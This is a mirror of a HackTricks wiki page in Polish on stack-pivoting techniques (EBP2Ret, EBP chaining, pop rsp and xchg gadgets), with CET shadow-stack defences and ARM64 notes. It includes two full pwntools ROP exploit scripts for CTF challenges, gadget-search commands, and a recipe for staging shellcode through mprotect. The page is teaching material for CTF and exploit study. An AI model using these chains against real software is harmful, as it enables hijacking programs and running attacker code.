mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
290 lines
14 KiB
Markdown
290 lines
14 KiB
Markdown
# Stack Pivoting - EBP2Ret - EBP chaining
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Podstawowe informacje
|
|
|
|
Ta technika wykorzystuje możliwość manipulacji **Wskaźnikiem Bazowym (EBP/RBP)** do łączenia wykonania wielu funkcji poprzez staranne użycie wskaźnika ramki oraz sekwencji instrukcji **`leave; ret`**.
|
|
|
|
Przypominając, na x86/x86-64 **`leave`** jest równoważne z:
|
|
```
|
|
mov rsp, rbp ; mov esp, ebp on x86
|
|
pop rbp ; pop ebp on x86
|
|
ret
|
|
```
|
|
I jako że zapisany **EBP/RBP znajduje się na stosie** przed zapisanym EIP/RIP, możliwe jest jego kontrolowanie poprzez kontrolowanie stosu.
|
|
|
|
> Uwagi
|
|
> - W 64-bit, zamień EBP→RBP i ESP→RSP. Semantyka jest taka sama.
|
|
> - Niektórzy kompilatory pomijają wskaźnik ramki (zobacz „EBP może nie być używane”). W takim przypadku `leave` może nie wystąpić i ta technika nie zadziała.
|
|
|
|
### EBP2Ret
|
|
|
|
Ta technika jest szczególnie przydatna, gdy możesz **zmienić zapisany EBP/RBP, ale nie masz bezpośredniego sposobu na zmianę EIP/RIP**. Wykorzystuje zachowanie epilogu funkcji.
|
|
|
|
Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stosie, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode/łańcucha ROP (plus 8 bajtów na amd64 / 4 bajty na x86, aby uwzględnić `pop`), możesz pośrednio kontrolować RIP. Gdy funkcja zwraca, `leave` ustawia RSP na skonstruowaną lokalizację, a następny `pop rbp` zmniejsza RSP, **skutecznie wskazując na adres przechowywany przez atakującego tam**. Następnie `ret` użyje tego adresu.
|
|
|
|
Zauważ, że **musisz znać 2 adresy**: adres, na który ma iść ESP/RSP, oraz wartość przechowywaną pod tym adresem, którą `ret` będzie konsumować.
|
|
|
|
#### Budowa Exploita
|
|
|
|
Najpierw musisz znać **adres, w którym możesz zapisać dowolne dane/adresy**. RSP będzie wskazywał tutaj i **skonsumuje pierwszy `ret`**.
|
|
|
|
Następnie musisz wybrać adres używany przez `ret`, który **przeniesie wykonanie**. Możesz użyć:
|
|
|
|
- Ważnego [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu.
|
|
- Adresu **`system()`**, po którym następuje odpowiedni powrót i argumenty (na x86: cel `ret` = `&system`, następnie 4 bajty śmieci, potem `&"/bin/sh"`).
|
|
- Adresu gadżetu **`jmp esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) po którym następuje inline shellcode.
|
|
- Łańcucha [**ROP**](../rop-return-oriented-programing/index.html) umieszczonego w zapisywalnej pamięci.
|
|
|
|
Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanym obszarze musi być **miejsce na `pop ebp/rbp`** z `leave` (8B na amd64, 4B na x86). Możesz wykorzystać te bajty, aby ustawić **drugi fałszywy EBP** i utrzymać kontrolę po zwrocie z pierwszego wywołania.
|
|
|
|
#### Exploit Off-By-One
|
|
|
|
Istnieje wariant używany, gdy możesz **zmodyfikować tylko najmniej znaczący bajt zapisanego EBP/RBP**. W takim przypadku lokalizacja pamięci przechowująca adres, do którego należy skoczyć z **`ret`**, musi dzielić pierwsze trzy/pięć bajtów z oryginalnym EBP/RBP, aby 1-bajtowe nadpisanie mogło go przekierować. Zwykle niski bajt (offset 0x00) jest zwiększany, aby skoczyć jak najdalej w obrębie pobliskiej strony/wyjustowanego obszaru.
|
|
|
|
Często używa się również RET sled na stosie i umieszcza prawdziwy łańcuch ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy RSP wskazuje wewnątrz sled i końcowy łańcuch ROP jest wykonywany.
|
|
|
|
### Łańcuchowanie EBP
|
|
|
|
Umieszczając kontrolowany adres w zapisanym slocie `EBP` na stosie i gadżet `leave; ret` w `EIP/RIP`, możliwe jest **przeniesienie `ESP/RSP` do adresu kontrolowanego przez atakującego**.
|
|
|
|
Teraz `RSP` jest kontrolowane, a następna instrukcja to `ret`. Umieść w kontrolowanej pamięci coś takiego jak:
|
|
|
|
- `&(next fake EBP)` -> Ładowane przez `pop ebp/rbp` z `leave`.
|
|
- `&system()` -> Wywoływane przez `ret`.
|
|
- `&(leave;ret)` -> Po zakończeniu `system` przenosi RSP do następnego fałszywego EBP i kontynuuje.
|
|
- `&("/bin/sh")` -> Argument dla `system`.
|
|
|
|
W ten sposób możliwe jest łańcuchowanie kilku fałszywych EBP, aby kontrolować przepływ programu.
|
|
|
|
To jest jak [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ale bardziej złożone i użyteczne tylko w skrajnych przypadkach.
|
|
|
|
Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu**, aby wywołać zwycięską funkcję. To jest końcowy ładunek z tej strony:
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16)
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
LEAVE_RET = 0x40117c
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229
|
|
|
|
payload = flat(
|
|
0x0, # rbp (could be the address of another fake RBP)
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0,
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
|
|
|
|
payload += flat(
|
|
buffer, # Load leaked address in RBP
|
|
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
> wskazówka dotycząca wyrównania amd64: System V ABI wymaga 16-bajtowego wyrównania stosu w miejscach wywołań. Jeśli twoja łańcuch wywołuje funkcje takie jak `system`, dodaj gadżet wyrównania (np. `ret`, lub `sub rsp, 8 ; ret`) przed wywołaniem, aby utrzymać wyrównanie i uniknąć awarii `movaps`.
|
|
|
|
## EBP może nie być używane
|
|
|
|
Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarka jest kompilowana z pewnymi optymalizacjami lub z pominięciem wskaźnika ramki, **EBP/RBP nigdy nie kontroluje ESP/RSP**. Dlatego każdy exploit działający poprzez kontrolowanie EBP/RBP zakończy się niepowodzeniem, ponieważ prolog/epilog nie przywraca z wskaźnika ramki.
|
|
|
|
- Nieoptymalizowane / używany wskaźnik ramki:
|
|
```bash
|
|
push %ebp # save ebp
|
|
mov %esp,%ebp # set new ebp
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
|
ret # return
|
|
```
|
|
- Optymalizowane / wskaźnik ramki pominięty:
|
|
```bash
|
|
push %ebx # save callee-saved register
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
add $0x10c,%esp # reduce stack size
|
|
pop %ebx # restore
|
|
ret # return
|
|
```
|
|
Na amd64 często zobaczysz `pop rbp ; ret` zamiast `leave ; ret`, ale jeśli wskaźnik ramki jest całkowicie pominięty, to nie ma epilogu opartego na `rbp`, przez który można by przejść.
|
|
|
|
## Inne sposoby kontrolowania RSP
|
|
|
|
### gadżet `pop rsp`
|
|
|
|
[**Na tej stronie**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był **gadżet `pop rsp`** i występował **leak ze stosu**:
|
|
```python
|
|
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
|
# This version has added comments
|
|
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229 # pop RSI and R15
|
|
|
|
# The payload starts
|
|
payload = flat(
|
|
0, # r13
|
|
0, # r14
|
|
0, # r15
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0, # r15
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(104, b'A') # pad to 104
|
|
|
|
# Start popping RSP, this moves the stack to the leaked address and
|
|
# continues the ROP chain in the prepared payload
|
|
payload += flat(
|
|
POP_CHAIN,
|
|
buffer # rsp
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
### xchg <reg>, rsp gadget
|
|
```
|
|
pop <reg> <=== return pointer
|
|
<reg value>
|
|
xchg <reg>, rsp
|
|
```
|
|
### jmp esp
|
|
|
|
Sprawdź technikę ret2esp tutaj:
|
|
|
|
{{#ref}}
|
|
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
|
{{#endref}}
|
|
|
|
### Szybkie znajdowanie gadżetów pivot
|
|
|
|
Użyj swojego ulubionego narzędzia do wyszukiwania gadżetów, aby znaleźć klasyczne prymitywy pivot:
|
|
|
|
- `leave ; ret` w funkcjach lub w bibliotekach
|
|
- `pop rsp` / `xchg rax, rsp ; ret`
|
|
- `add rsp, <imm> ; ret` (lub `add esp, <imm> ; ret` na x86)
|
|
|
|
Przykłady:
|
|
```bash
|
|
# Ropper
|
|
ropper --file ./vuln --search "leave; ret"
|
|
ropper --file ./vuln --search "pop rsp"
|
|
ropper --file ./vuln --search "xchg rax, rsp ; ret"
|
|
|
|
# ROPgadget
|
|
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
|
|
```
|
|
### Klasyczny wzór stagingu pivotu
|
|
|
|
Robustna strategia pivotu używana w wielu CTF/eksploatach:
|
|
|
|
1) Użyj małego początkowego przepełnienia, aby wywołać `read`/`recv` do dużego zapisywalnego obszaru (np. `.bss`, heap lub mapowane pamięci RW) i umieść tam pełny łańcuch ROP.
|
|
2) Wróć do gadżetu pivotu (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`), aby przenieść RSP do tego obszaru.
|
|
3) Kontynuuj z zaplanowanym łańcuchem (np. wyciek libc, wywołanie `mprotect`, następnie `read` shellcode, a potem skok do niego).
|
|
|
|
## Nowoczesne zabezpieczenia, które łamią pivotowanie stosu (CET/Shadow Stack)
|
|
|
|
Nowoczesne procesory x86 i systemy operacyjne coraz częściej wdrażają **CET Shadow Stack (SHSTK)**. Przy włączonym SHSTK, `ret` porównuje adres powrotu na normalnym stosie z chronionym sprzętowo stosie cieniowym; jakiekolwiek niezgodności powodują błąd ochrony kontrolnej i kończą proces. Dlatego techniki takie jak EBP2Ret/leave;ret oparte na pivotach będą się zawieszać, gdy tylko pierwszy `ret` zostanie wykonany z pivotowanego stosu.
|
|
|
|
- Dla tła i głębszych szczegółów zobacz:
|
|
|
|
{{#ref}}
|
|
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
|
{{#endref}}
|
|
|
|
- Szybkie kontrole na Linux:
|
|
```bash
|
|
# 1) Is the binary/toolchain CET-marked?
|
|
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
|
|
|
|
# 2) Is the CPU/kernel capable?
|
|
grep -E 'user_shstk|ibt' /proc/cpuinfo
|
|
|
|
# 3) Is SHSTK active for this process?
|
|
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
|
|
|
|
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
|
|
(gdb) checksec
|
|
```
|
|
- Notatki do laboratoriów/CTF:
|
|
- Niektóre nowoczesne dystrybucje włączają SHSTK dla binariów z włączonym CET, gdy dostępne jest wsparcie sprzętowe i glibc. W przypadku kontrolowanego testowania w VM, SHSTK można wyłączyć systemowo za pomocą parametru uruchamiania jądra `nousershstk`, lub selektywnie włączyć za pomocą tuningu glibc podczas uruchamiania (zobacz odniesienia). Nie wyłączaj zabezpieczeń na celach produkcyjnych.
|
|
- Techniki oparte na JOP/COOP lub SROP mogą nadal być wykonalne na niektórych celach, ale SHSTK szczególnie łamie `ret`-based pivots.
|
|
|
|
- Uwaga dotycząca Windows: Windows 10+ udostępnia tryb użytkownika, a Windows 11 dodaje tryb jądra „Hardware-enforced Stack Protection” oparty na shadow stacks. Procesy zgodne z CET zapobiegają pivotowaniu stosu/ROP przy `ret`; deweloperzy muszą się zgodzić za pomocą CETCOMPAT i powiązanych polityk (zobacz odniesienie).
|
|
|
|
## ARM64
|
|
|
|
W ARM64, **prolog i epilog** funkcji **nie przechowują ani nie pobierają rejestru SP** na stosie. Ponadto, instrukcja **`RET`** nie zwraca do adresu wskazywanego przez SP, ale **do adresu wewnątrz `x30`**.
|
|
|
|
Dlatego, domyślnie, po prostu nadużywając epilogu **nie będziesz w stanie kontrolować rejestru SP** przez nadpisanie danych wewnątrz stosu. A nawet jeśli uda ci się kontrolować SP, nadal potrzebujesz sposobu na **kontrolowanie rejestru `x30`**.
|
|
|
|
- prolog
|
|
|
|
```armasm
|
|
sub sp, sp, 16
|
|
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
|
|
mov x29, sp // FP wskazuje na rekord ramki
|
|
```
|
|
|
|
- epilog
|
|
|
|
```armasm
|
|
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
|
|
add sp, sp, 16
|
|
ret
|
|
```
|
|
|
|
> [!OSTRZEŻENIE]
|
|
> Sposobem na wykonanie czegoś podobnego do pivotowania stosu w ARM64 byłoby być w stanie **kontrolować `SP`** (poprzez kontrolowanie jakiegoś rejestru, którego wartość jest przekazywana do `SP` lub ponieważ z jakiegoś powodu `SP` pobiera swój adres ze stosu i mamy przepełnienie) i następnie **nadużyć epilogu**, aby załadować rejestr **`x30`** z **kontrolowanego `SP`** i **`RET`** do niego.
|
|
|
|
Również na następnej stronie możesz zobaczyć odpowiednik **Ret2esp w ARM64**:
|
|
|
|
{{#ref}}
|
|
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
|
{{#endref}}
|
|
|
|
## Odniesienia
|
|
|
|
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
|
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
|
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
|
- 64 bity, exploity off by one z łańcuchem rop zaczynającym się od ret sled
|
|
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
|
- 64 bity, brak relro, canary, nx i pie. Program udostępnia leak dla stosu lub pie i WWW dla qword. Najpierw uzyskaj leak stosu i użyj WWW, aby wrócić i uzyskać leak pie. Następnie użyj WWW, aby stworzyć wieczną pętlę nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Nadużywając tego "wiecznego" zapisu, zapisuje się łańcuch ROP w .bss i kończy wywołując go, pivotując z RBP.
|
|
- Dokumentacja jądra Linux: Technologia egzekwowania przepływu kontrolnego (CET) Shadow Stack — szczegóły dotyczące SHSTK, flag `nousershstk`, `/proc/$PID/status` i włączania za pomocą `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
|
|
- Microsoft Learn: Ochrona stosu wymuszona sprzętowo w trybie jądra (shadow stacks CET w Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|